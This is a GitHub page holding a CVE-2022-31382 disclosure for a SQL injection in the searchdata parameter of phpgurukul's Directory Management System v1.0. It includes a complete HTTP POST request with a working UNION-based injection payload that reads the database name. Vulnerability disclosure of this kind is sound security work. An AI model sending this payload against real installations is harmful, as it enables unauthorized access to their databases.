laotun-s Update CVE-2022-31382.txt History

1 contributor

53 lines (52 sloc) | 1.38 KB

```
> [Suggested description]
> Directory Management System v1.0 was discovered to contain a SQL
> injection vulnerability via the searchdata parameter in
> search-dirctory.php.
>
> ----------------------------------------
>
> [Vulnerability Type]
> SQL Injection
>
> ----------------------------------------
>
> [Vendor of Product]
> phpgurukul
>
> ----------------------------------------
>
> [Affected Product Code Base]
> Directory Management System - 1.0
>
> ----------------------------------------
>
> [Affected Component]
> search-directory.php
>
> ----------------------------------------
>

> [Attack Vectors]
> POST /dms/admin/search-directory.php HTTP/1.1
```

```
> Host: ip
> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
> Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
> Accept-Encoding: gzip, deflate
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 64
> Connection: close
> Cookie: PHPSESSID=eml4bgiglhno5kgmjj8uld5qgs
> Upgrade-Insecure-Requests: 1
>
> searchdata=-1%27union select 1,2,3,4,database(),6,7,8%23&search=
>
> ----------------------------------------
>
> [Discoverer]
> laotun
>
> ----------------------------------------
>
> [Reference]
> http://phpgurukul.com

Use CVE-2022-31382.
```